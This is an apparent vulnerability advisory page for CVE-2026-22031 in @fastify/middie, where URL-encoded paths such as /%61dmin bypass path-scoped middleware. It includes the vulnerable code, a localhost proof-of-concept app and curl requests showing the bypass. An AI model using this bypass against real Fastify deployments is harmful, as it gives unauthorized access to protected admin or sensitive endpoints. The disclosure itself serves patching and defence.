CVE-2026-22031: Fastify Middie Middleware Path Bypass
Summary A security vulnerability exists in @fastify/middie where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints…
Published Jan 20, 2026
Affected packages
@fastify/middie
- Ecosystem
- npm
- Affected
- <= 9.0.3
- Fixed in
- 9.1.0
- Check
npm ls @fastify/middie
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
A security vulnerability exists in @fastify/middie where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.
Details
The vulnerability is caused by how middie matches requests against registered middleware paths.
- Regex Generation: When [fastify.use('/admin', ...)](cci:1://file:///Users/harshjaiswal/work/research/nest/packages/platform-fastify/adapters/fastify-adapter.ts:733:2-741:3) is called,
middieusespath-to-regexpto generate a regular expression for the path/admin. - Request Matching: For every request,
middieexecutes this regular expression againstreq.url(orreq.originalUrl). - The Flaw:
req.urlin Fastify contains the raw, undecoded path string. - The generated regex expects a decoded path (e.g.,
/admin). - If a request is sent to
/%61dmin, the regex comparison fails (/^\/admin/does not match/%61dmin). middieassumes the middleware does not apply and callsnext().- Route Execution: The request proceeds to Fastify's internal router, which performs URL decoding. It correctly identifies
/%61dminas/adminand executes the corresponding route handler.
Incriminated Source Code: In the provided middie source:
// ... inside Holder function
if (regexp) {
const result = regexp.exec(url) // <--- 'url' is undecoded.
if (result) {
// ... executes middleware ...
} else {
that.done() // <--- Middleware skipped on mismatch
}
}PoC
Step 1: Run the following Fastify application (save as app.js):
const fastify = require('fastify')({ logger: true });
async function start() {
// Register middie for Express-style middleware support
await fastify.register(require('@fastify/middie'));
// Middleware to block /admin route
fastify.use('/admin', (req, res, next) => {
res.statusCode = 403;
res.end('Forbidden: Access to /admin is blocked');
});
// Sample routes
fastify.get('/', async (request, reply) => {
return { message: 'Welcome to the homepage' };
});
fastify.get('/admin', async (request, reply) => {
return { message: 'Admin panel' };
});
// Start server
try {
await fastify.listen({ port: 3008 });
} catch (err) {
fastify.log.error(err);
process.exit(1);
}
}
start();Step 2: Execute the attack.
- Normal Request (Blocked): ``
bash curl http://localhost:3008/admin # Output: Forbidden: Access to /admin is blocked`` - Bypass Request (Successful): ``
bash curl http://localhost:3008/%61dmin # Output: {"message":"Admin panel"}``
Impact
- Type: Authentication/Authorization Bypass.
- Affected Components: Applications using
@fastify/middieto apply security controls (auth, rate limiting, IP filtering) to specific route prefixes. - Severity: High. Attackers can trivially bypass critical security middleware to access protected administrative or sensitive endpoints.
Credited to rootxharsh, kamilmysliwiec, Eomm, mcollina.
References
- https://github.com/fastify/middie/security/advisories/GHSA-cxrg-g7r8-w69p
- https://nvd.nist.gov/vuln/detail/CVE-2026-22031
- https://github.com/fastify/middie/pull/245
- https://github.com/fastify/middie/commit/d44cd56eb724490babf7b452fdbbdd37ea2effba
- https://github.com/fastify/middie/releases/tag/v9.1.0
- https://github.com/advisories/GHSA-cxrg-g7r8-w69p
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-33804
@fastify/middie vulnerable to middleware bypass via deprecated ignoreDuplicateSlashes option
high7.4Apr 16, 2026CVE-2026-6270
@fastify/middie vulnerable to middleware authentication bypass in child plugin scopes
critical9.1Apr 16, 2026CVE-2026-2880
@fastify/middie has Improper Path Normalization when Using Path-Scoped Middleware
high8.2Feb 28, 2026
